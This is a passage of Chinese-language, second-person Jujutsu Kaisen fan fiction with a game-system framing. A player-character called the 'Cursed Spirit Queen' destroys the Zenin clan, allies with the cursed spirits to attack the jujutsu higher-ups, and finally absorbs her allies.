她不明白,为何前一刻还是“朋友”的人,能如此轻描淡写地抹杀生命。
你伸出拇指,擦过她掉落的眼泪。
“没关系,”你说,语气近乎宽容,“因为你太弱小了,所以流泪也是被我允许的。”
“既然他们这样对待我们,那小葵,你也是能够理解我的吧?”
“小姐……别怕,小葵陪你……”小葵蹭了蹭你的脸颊。
你收回手,目光掠过地上三具迅速冷却的尸体,投向【帐】外朦胧的山林。咒灵葵的触须忠诚地托举着你,让你悬浮得更高一些。
“逃吧,逃吧……”你居高临下地对着歌姬宣告道。
“回去告诉他们——”
夜风卷起你黑色的发丝,面具下的唇角,勾起一个浅淡的弧度。
“——[咒灵女王],降世了!”
【恭喜玩家完成当前重要节点】
【恭喜玩家获得CG:宣言·恶之花★★★★★】
【获得称号:[咒灵女王](初级)】
【阵营已更新:混沌·恶】
---
“就是这样了。”庵歌姬猛灌一杯酒,“也不知道那两个人怎么想的。”
家入硝子指尖夹着细长的女士烟,没点,“两年前的事,谁知道呢。”
五条悟哈哈大笑,墨镜滑到鼻尖,露出那双苍蓝的六眼,“噗哈哈哈,[咒灵女王]?“这也太中二了吧?哪个时代的反派台词啊!”
夏油杰端着茶杯,也点了点头:“确实。”
“喂!!”庵歌姬额头爆出青筋,“重点是这个吗?!我当时可是差点——”
“不
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过啊,”五条悟笑够了,托着下巴,“歌姬你两年前就这么逃回来了?呜哇——好胆小哦~换作是我,肯定要把那个装神弄鬼的面具掀开来看看嘛!”
“悟,”夏油杰温和地制止,礼貌道:“不可以这么说前辈。”
家入硝子抬手敲了一下五条悟的白毛脑袋,“给歌姬道歉。”
“啊,好啦好啦,”五条悟揉着头,“果咩捏,歌姬前辈。”
庵歌姬没理会他敷衍的道歉,低头看着杯中晃动的琥珀色液体,声音低了些:“……当时,我确实太胆小了。”
家入硝子端起自己的酒杯,碰了碰歌姬的杯子,发出一声清脆的“叮”,“两年前的事了,就别再去想啦。”
“现在,我们不醉不归!”家入硝子仰头一口气喝完。
她目光扫过桌边几人,最后落在试图偷偷把爪子伸向清酒瓶的五条悟手上。
“五条,你去喝果汁。”
所以,被他们提及的你在干嘛呢?
当然是去刷怪啦,你深知要升级,先刷怪的道理大大咧咧带着小葵满世界刷怪。
刷完这边刷那边,被人发现你就逃,没被人发现你就继续刷,说起来你还算为民除害呢。
两年时间,你把你的等级刷到了[89],再怎么刷也刷不动经验条了,你意识到自己陷入了瓶颈期,于是你就打道回府,回到了禅院家附近。
“小葵,怀念吗?”你依旧带着面具,笑着说,“这可是我们俩初遇的地方。”
“嗯!”小葵的触手拖着你缓慢移动,“当时小姐还小小一只的,超级可爱!”
“诶——”你拖长声音表示不满,“哪有,我当初明明超级冷酷!每个人见我都会被吓得愣一下。”你比划着,模仿那些人空洞凝固的表情。
“哈哈……嗯嗯!”
“好敷衍!”
“何人在此喧哗?!”转角处,一名穿着禅院家护卫服饰的男人现身,手按在腰间的咒具上。
你和小葵的对话甚至没有停顿半秒,完全将他视为空气。
“……所以当时小葵做的饭团,其实米都没熟透对吧?”
“呜……对、对不起小姐。”
“噗,现在承认啦?”
被彻底无视的护卫额角青筋跳动。
“擅闯禅院家地界,与咒灵为伍,鬼鬼祟祟——”他厉声道,咒力开始涌动,“立刻束手就缚,否则……”
你像是终于意识到他的存在了一样,面具的孔洞对准他,然后你抬起手,缓缓解开了脑后粗糙的面具系绳。
护卫的瞳孔,在系绳掉落的瞬间就已放大。当面具彻底脱离你的脸颊,当那张脸完整地暴露在天光下时——
时间,呼吸,思维,咒力的流动……一切都在感知中凝固了。
“啊,终于舒爽了,”你拨弄着散掉的头发,“戴了这么多年的面具,一下子不戴了我还真有点不习惯呢。”
你开口命令他,“去告诉禅院家的现任家主。”
你顿了顿,确保每一个字都清晰烙印在他被混乱与痴狂占据的大脑里。
“就说——”
“禅院家的叛徒,【咒灵女王】,”你轻笑一声,“回来灭门了。”
5. 第 5 章
禅院家,正厅。
被抛回的护卫迷迷糊糊走进商议室,眼神涣散,嘴角挂着痴笑与涎水,反复呢喃:“灭门……女王……回来了……美……”
几名长老面色铁青,其中一人上前,一脚踹在护卫肩头:“废物,胡言乱语什么!什么女王?哪个叛徒?”
另一长老捻须冷笑:“怕是中了什么幻术,或是……干脆就是敌人的挑衅伎俩。去,把他拖下去,仔细拷问——”
话音未落。
数条尖锐的触须,毫无征兆地从正厅的阴影处暴起。
“噗嗤!”
“呃啊——!”
触须精准地穿透了长老们的胸膛。两人的表情凝固在惊愕上,身体迅速干瘪。
【NPC[禅院长老X2]已死亡。】
“敌袭——!!!”厅内瞬间大乱。
禅院直毘人猛地站起,酒葫芦“啪”地顿在桌上,“结界示警呢?!护卫都在干什么!”
他厉声喝道,声音压过混乱,“所有战斗人员,立刻按一级入侵预案,结阵防御!直哉,你——”
他的命令被窗外骤然亮起的火光打断。
那不是普通的火焰。暗红色的火舌如同活物,从禅院家外围的森林疯狂蔓延,舔舐着结界边缘,发出滋滋的腐蚀声响。
火光映亮半边夜空,也将一道身影清晰地勾勒出来。
你踏着燃烧的焦土,从火海中缓缓走出。面具早已摘下,随意挂在腰间。
火焰在你身后狂舞,却不敢沾染你分毫。黑色的长发在热浪中微微飘动,那双映着火光与毁灭的黑眸,平静地望向痴迷的禅院众人。
“不必麻烦了。”
你的声音不大,“今天,你们都得死在这里。”
禅院直毘人瞳孔骤缩,他感受到你身上那股庞大的咒力,以及你身后阴影里,那头虎视眈眈,散发着特级压迫感的咒灵。
禅院直哉站在父亲身侧,目光死死锁在你脸上。
最初的惊艳与恍惚如潮水般褪去,他突然间回忆起了几年前偏院廊下的惊鸿一瞥。
“是……是你!”他英俊的脸庞扭曲,“禅院华子!那个偏院的女人。”
“你是谁?”你微微偏头,视线扫过他。
“你——!”禅院直哉恼怒,“父亲,就让我去解决这个不知好歹的贱人!”
他周身咒力爆发,[投射咒法]的术式蓄势待发,身影化作疾电,直直冲向你。
他甚至没能靠近你十米之内。
一条比之前粗壮数倍的黑色触须,从你侧方的地面轰然弹出。
“不准……伤害小姐。”
“砰——!”
一声闷响。禅院直哉以比冲来时更快的速度倒飞回去,狠狠撞穿了一面墙壁,被埋在砖石瓦砾之中。
小葵的触须交织,抬升,像是搭戏台一样在你脚下形成一座移动的黑色王座,托着你缓缓升高,让你得以俯视整个逐渐被火焰与混乱吞噬的禅院宅邸。
下方,禅院众人在直毘人的怒吼指挥下结阵,咒术与咒具的光芒亮起,与从四面八方阴影中钻出的触须,以及那越发明亮的诡异火焰战作一团。惨叫、怒吼、建筑崩塌声不绝于耳。
你撑着脸静静地看着。
【战斗结束,禅院家全员覆灭。】
【经验值大幅增加,等级89→95,瓶颈突破。】
【魅力值:10(神的容貌,完全解封)】
【获得成就:[家族湮灭者]】
你疑惑,魅力值居然回来了?
---
“哇,好可怕。”一个蓝色长发,缝合线显眼的青年游游荡荡到了这里,“全部都变成黑漆漆的一片了。”
它坐在了一段尚未完全倒塌的焦黑梁柱上,晃着腿,自顾自的感叹,“人与人的争斗,真是残酷呢。转瞬之间,一个古老的家族就变成了这幅样子……可怕,真可怕。”
“不过——[咒灵女王]?”
一片死寂中,突然响起了清脆的,带着笑意的掌声。
“啪、啪、啪。”
“总结的不错,”你夸赞它,“你叫我?”
它的目光牢牢锁定在出现的你身上,像是一个狂热的解剖学家看到了最完美的标本。
“啊~你的灵魂……太有趣了!”它几乎要手舞足蹈起来,语气充满发现宝藏的兴奋,“可以碰碰吗?绝对不弄坏它!”
“我见过无数人类的灵魂,扭曲的、脆弱的、固执的……但像你这样如此‘空洞’,却又如此‘纯洁’,简直前所未见!你的灵魂绝对是最上等的艺术品!”
它在你面前几步远处停下,无视了咒灵葵蓄势待发的攻击姿态,对你露出了一个疯狂又痴迷的笑容。
“[咒灵女王],”真人伸出手,仿佛在展示一个美妙的新世界,“你要不要……加入我们?”
“不要,”你拿面具拍开它的手,“你的意图太明显了。”
[姓名:真人
种族:咒灵
等级:83
术式:无为转变(触发条件:肢体接触,术式效果暂时未知)]
“欸——?”真人拖长声音,语气像是孩子被拒绝了分享糖果,带着夸张的委屈,“为什么?我可是真心的哦。”
你微微偏头,看着它头顶上的[等级:83],比特级咒灵葵低,但比地上那些禅院家的灰烬高不少。
“你们咒灵,”你开口,语气里带着一丝趣味,“也有组织?”
真人立刻恢复了神采。
“当然啦!”它挺起胸膛,虽然这个动作在他身上显得有些滑稽,“虽然我们‘人’比较少,但个个都是精英哦!而且,我们有着伟大的理念——”
它张开双臂,仿佛要拥抱整个夜空下的世界。
“颠覆人类主导,建立属于咒灵的新世界!”
夜风吹过废墟,卷起几缕灰烬,除了火焰余烬的噼啪声,一片寂静。
真人眨了眨眼,看着你毫无波澜的脸:“诶?你不震惊吗?不觉得这很厉害、很疯狂吗?”
你没有回答,你看着它,看着它那张写满“有趣”和“纯粹恶意”的脸,然后——
“噗。”
你笑了出来,起初只是肩膀轻微的颤动,随即
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笑声溢出喉咙,越来越大,越来越清晰,最后变成一阵毫无顾忌的大笑。
你弯下腰,黑色的长发随着笑声向前流泻,那张能让万物失语的脸上绽放出笑容,黑色的瞳孔眯起。你冷冰冰的脸是一种美,有情绪起伏的脸又是另一种美。
真人呆住了,即使是对人类灵魂形态更感兴趣的它,也在这一瞬间被纯粹的美的暴力所击中,异色瞳里映满你的身影,近乎失神。
“就你?”你笑够了,抬手随意擦去眼角并不存在的泪花,黑眸重新聚焦在真人脸上,里面盛满了毫不掩饰的嘲弄,“区区83级?”
“什么嘛……”真人回过神,虽然听不懂“83级”具体指什么,但它清晰地接收到了那份居高临下的轻视。
它鼓起脸颊,莫名显得有点孩子气,“我也是有同伴的!很强的同伴。”
“哦?”你从咒灵葵的触须王座上轻盈跃下,落地无声,走向真人,小葵警惕地紧随,触须微微扬起。
“那么,为你们‘伟大’的理念进行到哪一步了?”你语气中带着微妙。
真人抓了抓它蓝色的头发,理直气壮地回答道:“唔……目前主要在招募可靠的队友?”
又是一阵短暂的沉默。
你看着他,嘴角勾起一个浅浅的弧度。
“哈。”你发出一声短促的笑音,不再大笑,但笑意浸在眼底,温和地转过头问小葵,“你想加入他们吗?”
“我和……小姐一起。”她不出所料地回答你。
“行吧。”你爽快得让真人有点意外,“带路。”
“欸?”真人眨眨眼,虽然它就是因为你看起来什么都不在意才抱着试试的心态来邀请你的,但是你答应得这么快还是让真人很惊讶。
你转身,咒灵葵立刻伏低身躯,准备供你乘坐,“去见见我们‘未来’的队友。”
“好呀好呀!”真人立刻雀跃起来,仿佛刚才的疑惑从未发生,凑近几步,“不过在那之前——为了我们愉快合作的基础,先立下‘束缚’吧?”
你停下动作,侧头看他。
真人伸出右手,掌心向上,咒力开始形成一种特殊的循环。
“内容很简单:你不能背叛我们,同理,我们也不能背叛你和你的咒灵。你帮助我们实现理念,”它异色瞳里闪过一丝光芒,“而在新世界建立后,你可以稳居高位,制定你喜欢的规则。”
“束缚”的咒力纹路在它掌心闪烁,带着咒术世界最根本的规则之力,等待你的回应。
你看着那纹路,又看了看真人眼中那份混合了好奇与一丝不易察觉的试探的神色。
“可以。”
你伸出手,指尖轻轻点在它掌心之上。
【束缚成立:互不背叛,协作关系,未来保留权。】
【阵营关联度增加。新地图[咒灵阵营据点]解锁预告。】
咒力光芒一闪而逝,束缚成立。
“那么,”真人收回手,笑容灿烂,“欢迎加入,暂时的盟友,[咒灵女王]陛下~”
你不再看他,径自坐上咒灵葵重新编织的坐席。
“带路。”
6. 第 6 章
“真人,你这家伙又跑哪里去——”漏瑚话音未落,就感知到真人那熟悉又烦人的咒力靠近。
真人从阴影里蹦跳出来,脸上挂着惯有的,让人火大的灿烂笑容,“漏瑚~我回来啦!还带了新同伴哦!”
漏瑚的独眼从火焰上移开,瞥向真人身后,语气半信半疑,“哈?你找到其他认同我们理念的家伙了?”
“对哦!”真人用力点头,“她们也非常赞同我们的观点呢,所以我就诚心诚意地邀请啦。”
“她们?”漏瑚捕捉到用词,眉头皱起,“什么等级的?别又找些没用的废物回来。”
“一个是特级哦!货真价实的!”真人竖起一根手指,然后神秘地压低声音,“至于另一个同伴嘛……有点特殊,不过你见到她们就知道了,保证是惊喜!”
“哼,”漏瑚从铁桶上跳下,“那就让我见识见识,值不值得浪费我的时间。”
漏瑚从通道走出来。
首先映入漏瑚独眼的是具有特级压迫感的咒灵小葵。她小心翼翼地挪动着,触须合拢像是在护卫着什么。
然后,漏瑚看到了和咒灵葵对话的你的背影,一个人类女孩,姿态放松得像是来郊游。
漏瑚的独眼瞬间瞪大,周身岩浆“轰”地窜高了一截,空气温度急剧上升。
“真人——!!!”它怒吼出声,声音在空旷厂房里回荡,“你脑子被无为转变搞坏了吗?带个人类过来?!”
“哎呀,不要生气嘛漏瑚,”真人笑嘻嘻地摆摆手,完全不受恐怖高温的影响,“你看到她的脸之后,一定会认可我的判断的~”
“脸?”漏瑚像是听到了笑话,岩浆翻滚得更剧烈,“人类这种低等生物怎么可能真心认同我们?他们天生就是我们的敌人!”
真人叹了口气,“漏瑚,我才比你更了解人类哦。而她就是这样的人,她不在乎其他人类,她只在乎她自己。”
漏瑚死死盯着你,周身咒力沸腾,“既然你都这么说了,那就让我亲自试试,这个人类到底有没有资格成为我们的同伴!”
作为特级咒灵,漏瑚的速度快得只在原地留下一道熔岩残影。
它没有使用大范围术式,而是选择了最直接的近身突袭,裹挟着高温与毁灭的拳头,直击你的后心!
也就在这一瞬间,你似乎刚好吃完了那颗棒棒糖,舌尖轻轻抵出透明的塑料小棍,然后你转过了头。
漏瑚感觉时间都变慢了,它灼热的拳头距离你的后背可能只有几厘米,但在那一瞬间它猛的把拳头砸在你身侧的空地之中。
拳风冲乱了你的黑发。
它踉跄着后退了几步,独眼仍直勾勾地盯着你。
它的心脏完全失控地疯狂跳动,发出连他自己都能听见的的“怦怦”声。脸上那些岩浆流淌的纹路,亮度异常升高,甚至隐约透出一种类似“红晕”的光泽。
“这、这是……”滚烫的蒸汽从它头顶的火山口“噗噗”地冒出。
“是爱情吗?”
漏瑚再不能起,一击KO。
它甚至单膝下跪,真诚地对你喊:“我愿意将一切献给你!”
你:?
真人笑得前仰后合,“哈哈哈哈!早就知道漏瑚碰到你绝对会吃瘪,没想到漏瑚居然怀春了?太好笑了哈哈哈……”
你轻轻跳下来,看了看石化般僵在原地的漏瑚,又看了看笑出眼泪的真人,将吃完的棒棒糖小棍精准地弹到漏瑚的火山头上,“喂,醒醒。”
漏瑚清醒过来,脸一下子变得又红又绿,感觉自己刚才好像中了邪,居然想把一切都奉献给你。
“这就是你的术式吗?”漏瑚绿着脸问。
“啊↗↘”你眼珠子转了转,肯定道:“嗯没错!”
“呵呵,你合格了。”漏瑚对着空气冷笑,一眼都不带看你的,“那她呢?”
你看向小葵,小葵说:“我的术式就是我的触手。”
真人抹掉笑出的眼泪,拍了拍还在怀疑咒生的漏瑚,“好啦好啦,既然漏瑚也同意了新同伴的加入,那我们就去通知大家吧!该见见其他伙伴了~”
---
你们来到了咒灵的海边基地,不过所谓的“海边基地”,更像是一片被遗忘的荒芜海岸。
你们互相介绍十分简短。
“我是漏瑚。”独眼咒灵抱着手臂,刻意不看你,对着空气说话。
“花御。”花御的声音温。
“真人~”蓝发咒灵欢快地举手。
陀艮在浅水区吐了几个泡泡:“咕噜。”
你点点头,过耳就忘,目光扫过它们头顶的等级:【漏瑚 Lv.92】、【花御 Lv.90】、【真人 Lv.83】、【陀艮 Lv.90】
“既然你们又有团队,又有这么‘伟大’的理念,”你开口问道,“那你们为此……做出什么计划了吗?”
咒灵们面面相觑。
漏瑚:“看到人就杀?”
花御:“见到人类就打?”
真人:“多多‘改造’人类啦 让他们变得更有趣?”
陀艮:“咕噜咕噜……”
你:“……”
你满头黑线,深刻感觉自己好像上了黑船,不过你看着咒灵们“天真无邪”的脸,重新笑了起来。
“行吧。”你拍了拍手,声音清脆,吸引了所有咒灵的注意,“那我们就来制定一个——真正的计划。”
真人歪头,“什么计划?”
“首先,”你竖起一根手指,“要想颠覆人类主导的世界,只是随随便便搞一些不大不小的破坏,是没用的。”
“那应该怎么做?”花御问。
“第一步,向全世界宣告咒灵的存在。”你声音平稳,接着竖起第二根手指,“第二步,直接攻打咒术界的高层,那些制定规则的老家伙。挟持他们,逼迫剩余咒术师接受新的规则。”
你沉思:“条约就是:普通人与低等咒灵是低等公民,咒术师是二等公民,而有智慧的咒灵是高等公民,怎么样?”
漏瑚的独眼迸发出灼热的光,“好极了!我们什么时候去攻打咒术界?!”
它已经迫不及待想用岩浆淹没那些讨厌的咒术师老巢了。
“在那之前,”你慢条斯理地说,目光扫过在场的每一个咒灵,包括一脸好像很有趣的真人,“最重要的是——提升你们的能力。”
“就凭你们现在的等级”你毫不客气地评价,“去冲击咒术界高层?是去给人家送经验包吧?”
漏瑚想反驳,但想起刚才自己莫名其妙坠入爱河的丢人表现,又憋了回去。
你环视这些未来的“同伙”,唇角勾起一个带着恶劣趣味的弧度。
“我们开始特训吧!”
玩家开始打地鼠游戏,你抡起那柄环游世界搜刮来的巨型锤子。“砰!砰!砰!砰!”
“Quadra Kill!”你哼着不成调的游戏音效。
四只咒灵被你拍在地上。
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玩家开始口口飞车游戏,你是驾驶员,四个轮子自然就是四只咒灵了,你坐在上面鞭策它们,它们跑得慢了还要被你继续用锤子打。
玩家还有很多很多想玩的游戏,不能和小葵玩,只能找到四个玩具陪你一起玩了。
起初它们还很兴奋,各个都想打败你,可惜,玩家的面板数值早已突破天际,连体力都刷到了匪夷所思的9点。
现在咒灵们全都萎了,连呆呆的陀艮都被你虐成了一个小鱼干。
好像只有真人越是受虐,眼底那簇扭曲的光就越亮,甚至在一次重击后,连领域都给打出来了。
“哈哈哈哈,好玩,真好玩!”你一脚将漏瑚踹进岩壁。
“咳……呸!”漏瑚呕出几口滚烫的血,“该死的禅院华子!”
“真人,花御,我们一起上!”它咆哮一声。
你终于提起点兴致,巨锤在手中轻旋,身影骤然消失。
好快!漏瑚瞳孔骤缩,这女人的速度…又进化了?!
“在这里哦。”耳畔响起轻语。
“咚——!”四只咒灵应声倒地。
不过你可没有爽啊,“喂!你们几个,站起来继续陪我玩啊。”
“啊,禅院华子!你到底有完没完!”漏瑚怒吼。
你无辜摊手,“这难道不是为了我们的理想吗?”
“看看你们,现在这么高的等级到底是谁给你们的?”你质问。
“对啊对啊,”真人瘫在坑里,声音却欢快得像在唱歌,“多亏了华子小姐。”
“真!人!你到底是站在那边的?!”
真人蛄蛹着,从你肩膀一侧探出那张缝合脸,讨好地蹭了蹭你的头发,“大概是……华子小姐?”
“砰!”真人被小葵的触手猛的拍在地上,地板碎裂。
“小姐是我的!”小葵大吼。
“欸?”真人拉长语调,从碎石里抬起半边脸,“小葵不要那么小气嘛,以后你和我就是华子的左右手,你是左手,我是右手,怎么样?”
小葵暴怒,开始用触手抽打真人,真人被打得躲来躲去,然后躲到了你的身后,“华子,你看她~”
你安抚小葵,“别管它啦,它就是这么欠揍的,待会我帮你敲打它。我的左右手只有小葵一个人!”
你抬头看着真人异色的瞳孔,伸出双手拖住它的脸靠近。
真人眨了眨眼,脸颊顺着你的力道向下。
“你很可爱,”你的黑色瞳孔直勾勾地看着它,“不管是脸蛋,还是你的等级,都很可爱。”
真人忽的挣脱你的双手,夸张地捂住自己的脸颊,“华子这么说我会害羞的~”
“啊~既然你说我这么可爱,我可不可以要一个奖励呢?”它忽又凑近,眼里闪着诡异的光。
“什么奖——”
“啾~”
一个冰凉的触感落在你脸颊上。
“啊啊啊啊!西内!西内!”小葵的触手瞬间暴走成一片残影。
真人早已化作一缕烟似地飘远,空气里只留下它愉悦的哼唱。
你捂住脸,感到莫名其妙,它到底是和谁学的?
花御感叹:“真人这是完全变成华子小姐的模样了呢。”
漏瑚猛的捶地,火山口青烟直冒:“真人这家伙是得了斯德哥摩症吗?”
花御微微转过身惊讶:“漏瑚,你什么时候学到这么高级的词了?”
“花御!你也给我闭嘴!”
7. 第 7 章
海岸边,森林里,花御和陀艮集结着咒灵,无形的波动以它们为中心扩散,咒灵们大多没有意识,只被更强大的同类和某种模糊的气息吸引着。
咒灵的活动模式在悄然改变,夜蛾正道放下手中的报告,眉头拧在一起。
“最近提交上来的咒灵袭击事件,特别是都市圈外的,数量有明显下降,真是反常……”
熊猫抬起头,黑豆眼眨了眨,疑惑的歪头。
【凌晨三点,咒灵真人通过辅助监督获得咒术高层的基地地点。】
【凌晨五点,小葵突破基地结界,布下新的结界:只许进入,不许出去。】
【早上七点,你敲响了基地的大门。】
“敲呀敲,敲呀敲~死神来敲门啦~”你换上了一身略显宽大的儿童卫衣,脸上戴着那副粗白面具,对着门卫甜甜笑道。
门卫凶恶制止你,“喂!哪来的小屁孩?说什么屁话?””
“大叔,你不要这么凶恶嘛!”
“再不滚就别怪——”话音戛然而止。
“咦?”守卫的视线莫名下坠——他并未低头,却看见了自己的腿,地面,以及…那具缓缓跪倒颈上空空如也的身体。
咚,咚。头颅与躯干相继落地。
【看门守卫×4已死亡,经验值微幅上涨。】
大厅内,老橘子们高谈阔论,口水纷飞,结界被强行破除又瞬间被替换,让在场的高层和护卫们如临大敌。
就在这时,休息室的门被推开了。
一个戴着粗糙白面具,穿着不合身衣服的小女孩,踩着沾满灰尘的鞋子,走了进来。她的出现如此突兀,以至于争论声戛然而止。
“哪里来的小鬼?!”一个脾气暴躁的高层喝道,“护卫呢?!”
你没有回答,目光扫过这些苍老惊疑的脸。
然后,在所有人的注视下,你抬起手,缓缓解开了脑后的面具系绳。
素白面具滑落。
【高层A直视你的容貌,好感度+70】
【长老B直视你的容貌,好感度+100】
【护卫C直视你的容貌,好感度+60】
痴迷、狂喜、恐惧、自惭形秽、毁灭欲、占有欲……无数极端情绪如同炸开的烟花,在每一双骤然失神的眼睛里疯狂燃烧。
你轻轻开口,声音像浸了蜜的蛛丝,钻入他们沸腾的脑海:“你们……不觉得彼此很碍眼吗?”
“他看我的眼神,好脏。”
“他离我太近了,真恶心。”
“啊,我更喜欢强大的人哦~”你对着痴迷的人们笑了笑。
平日里道貌盎然的高层们,此刻如同争夺猎物的野兽,咒力毫无章法地爆发,咒具、术式、甚至牙齿和指甲,都成了攻击彼此的武器。
你静静站在角落的阴影里,看着这场自相残杀的盛宴,深感你的容貌真是个强大的群控技能。
“哇,居然还有理智的人呢。”你惊讶,冷漠道,“漏瑚,干掉他们。”
大厅天花板猛地融化成赤红的岩浆,一瞬间倾泻而下,【熔岩流】精准地吞没了那最后几人。
“禅院华子,你这术式真好用啊,”漏瑚站起身,独眼里闪着复杂的光,“幸好你是我们这边的人,等我们实现理想后,新世界绝对有你的一份!”
---
加茂家派驻此地的护卫长,此刻正拖着一条几乎被整个撕扯下来的断腿,在研究所外围的森林里拼命爬行。
他脸色惨白如纸,额头上全是冷汗和血污。几小时前,他在东侧巡逻区遭遇了那头可怕的特级咒灵,一个照面就失去了所有部下和自己的左腿。
求生的本能和职责驱使着他,用尽最后力气和咒力,朝本部基地爬来,他要警告大人们东侧有极其危险的特级入侵!
越是靠近基地,他越觉得不对劲。太安静了。平日里即便隐蔽,也该有巡逻的结界师和暗哨的细微动静。
但现在,只有死寂,空气中,弥漫着一股……甜腻的铁锈味?
不祥的预感几乎将他淹没。
他爬到那扇熟悉的大门前,用沾满血污的手拼命拍打,嘶声力竭地喊:“开门!是我!侗乡!!东边……特级入侵!!”
声音在空旷的入口通道里回荡,无人应答。
门并未锁死,他用力一推,厚重的大门缓缓向内打开。
浓烈到令人作呕的血腥气扑面而来。
侗乡的瞳孔瞬间缩成了针尖。
他看到了地狱。
曾经庄严肃穆的大厅,此刻是屠宰场。残肢断臂随处可见,墙壁和地板被染成暗红,和未冷却的岩浆混杂在一起,冒着新鲜的热气。而在这一片狼藉与血泊的中央,唯一一块相对干净的高台上——
站着一个人。
一个少女。黑色的长发如瀑垂下,身上那件可笑的宽大卫衣沾了几点溅射的血迹,却丝毫无损她周身那种非人的美丽。她赤足站在血泊边缘,微微仰着头,仿佛在聆听什么寂静的乐章,温和的日光下泻,将她笼罩在一层朦胧的,圣洁又诡异的光晕里。
她看起来那么干净,那么纯粹,残肢断骸紧紧攀附着她,将她拱在中央,甚至有一只断手依依不舍般环握住了她的脚踝。
神圣的玛利亚啊……
侗乡的呼吸停滞,大脑一片空白。
他似乎听见了一声极轻的叹息从那个少女的方向传来。然后,她缓缓地转过头。
那双比长夜更黑,比魔鬼更冷的眼眸,投向了他。
意识沉入黑暗前的最后一瞬,侗乡脑海里只剩下一个疯狂盘旋的念头:
那是……神明吗?
【加茂侗乡理性值归零,已死亡。】
【恭喜玩家击杀boss羂索,经验值上涨,等级跃迁:95→96】
你疑惑,居然杀了一个重要NPC?哇,这个重要NPC也太弱了吧?不过你还是在这个节点存了一个档。
“喂,接下来干嘛?直接杀去咒术高专吗?”漏瑚问。
“不急,让他们先乱一会儿。”
“不过,这次‘表演’的效果,肯定很棒吧?消息估计已经传开了哦。”真人也走了进来。
“传开才好。”你看向大厅入口方向,笑了笑。
---
“……全灭……结界从内部被替换……现场发现高强度熔岩及未知咒力残留……无幸存者……疑似复数特级咒灵协同作案,并有不明人类协同,根据残留影像及目击者碎片描述,主要嫌疑人代号——【咒灵女王】……”
恐慌如同病毒般少数未参加会议的高层里炸开。
“……立刻!立刻召回所有在外执行任务的一级以上咒术师!”
“发布最高警戒令!全咒术界进入战时状态!”
“通知‘窗’全面监控所有咒灵异常聚集动向!”
“禅院家……对,禅院家那个失踪的……名字?叫禅院华子!立刻调取全部档案!不,销毁!不…
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…该死!查她和这次事件的关联!”
“五条悟呢?!立刻让他回东京!现在!马上!”
命令在颤抖的声音中仓皇下达,整个咒术界沉睡的战争机器,在血腥的刺激下,开始嘎吱作响地强行启动。
---
口袋里通讯器疯狂震动起来,五条悟随意一挥,将最后一只扭曲的二级咒灵碾成碎片。
“莫西莫西~夜蛾?这个时间打来,是想念你可爱又强大的学生了吗?先说好,这次任务报酬还没结哦,而且这里咒灵超——级弱的,根本不够打嘛。”
电话那头传来夜蛾正道前所未有的凝重声音,背景音嘈杂:“悟!停下你手里所有任务!马上回东京!”
“诶——?”五条悟拉长声音,脚尖踢开一块碎木板,“出什么大事了?天塌了?还是那群老橘子终于被自己的口水呛死了?”
夜蛾的声音沉得能滴出水来,“有人集结咒灵,攻陷了总监部的一个重要地下基地。参与会议的高层及护卫……全员玉碎。”
五条悟脸上的嬉笑淡去了一瞬,墨镜后的六眼微微眯起,“那群老橘子开会的乌龟壳,居然被人掀了?有意思。谁干的?诅咒师集团?”
“……现场信息混乱,但初步判断,是复数特级咒灵,以及一个被称为‘咒灵女王’的人类或咒灵存在主导,小心她的脸!”
“【咒灵女王】……吗?”
【早上十点,陀艮和花御带领咒灵攻陷在京都府立咒术高等专门学校,无人生还。】
【午间十二点,咒术师夏油杰与[咒灵女王]死战,英勇牺牲。】
【下午一点,东京都立咒术高等专门学校被攻破】
【下午两点,咒术师五条悟回到东京,与[咒灵女王]战斗,东京半数建筑被摧毁。】
“哈哈哈哈哈哈哈!这天下是我们的了!”
真人大笑着张开双臂,胸腹处那道几乎将他斜劈开的狰狞伤口随着笑声不断渗出暗色液体。可他仿佛感觉不到痛楚,异色瞳孔在血污后燃烧着扭曲的光,“咳…哈哈哈哈哈…!”
你靠在断裂的岩柱上,身上那件特级咒具制成的衣服早已褴褛不堪,浸透了自己与敌人的血。五条悟差点要了你的命。
可你还是扯开嘴角,笑了起来。
“喂,”你声音沙哑带笑,朝它勾了勾手指,“过来……我有话,要单独告诉你。”
真人缓慢地拖着步伐一步一步走过去,眼睛看着这个残酷至极的女人,她气喘吁吁地站在同类与同伴的尸山血海中,时不时笑,简直是像疯了一样——这个女人根本不在意她的同类,不,她是谁都不在意。
它的异色瞳孔里爆发出狂热与沉醉,越跑越快、越跑越快,甚至忘了自己重伤。啊,它也快要疯掉了。
这个女人——万恶之源啊,如果真人自己不是从人类中诞生的咒灵,它都要怀疑这个女人才是“诅咒”本身了。
“我问你,我是谁?”
“你是——【咒灵女王】!”
“嗯哈哈哈哈,好孩子,”你捧住它的血淋淋的脸,拇指擦过他嘴角的血渍,语气温柔得像在哄孩子睡觉,“其实我一直…很喜欢你。这张缝合的脸,天真到残忍的性格,还有……”
你的声音压得更低,宛如耳语。
“你那恰到好处、永远比我低一线的等级。”
真人的笑容凝在脸上。
你贴着它的额,轻轻吐出四个字:“【咒·力·噬·取】。”
8. 第 8 章回收文案1
“嗡——!”
违背束缚的反噬让你七窍同时涌出鲜血,可你连眉都没皱,真人的身体在你掌下剧烈颤抖,生命与咒力如开闸洪水般被你吞噬。
真人的表情定格在欣喜上,身体迅速干瘪。
“你、你杀了真人!”漏瑚的独眼几乎瞪裂,火山口喷发出混乱的火星,“你的术式不是‘容貌’吗?!这到底是——!”
“嘘。”你松开手,真人干枯的躯壳无声倒地,你转身,染血的身影如鬼魅前掠,瞬息已扣住漏瑚的咽喉。
“赫……赫,为、为……什……么?”漏瑚的咒力在你掌下飞速流逝,独眼里的光芒逐渐涣散。
你听着它艰难吐出的疑问,先是一愣,随后不可抑制地大笑起来。
“哈哈哈…为什么?哈哈哈哈哈——!”
笑声在死寂的战场上尖锐回荡,你笑得弯下腰,几乎喘不过气,笑出的眼泪混着脸上的血一起滑落。良久,你才缓缓直起身,用指尖抹去眼角血泪,表情归于一片深海般的平静。
“因为我从来……就没想要过什么咒术界啊。”
你低头看着掌心渐渐熄灭的咒力余烬,轻声说:
“我想要的,只是清除所有会妨碍‘我和小葵在一起’的障碍而已。”
“我想要的自始至终……都只有和小葵在一起的世界。”
你抬起眼,看向漏瑚彻底暗淡的瞳孔,微笑着说:
“——因为这才是‘玩家’啊。”
【13岁:咒灵全员向你效忠,恭喜您获得CG[咒灵女王★★★★★]】
【13岁:咒灵全员被您吸收。成就[唯一的王]已解锁。】
“噗咳——!”
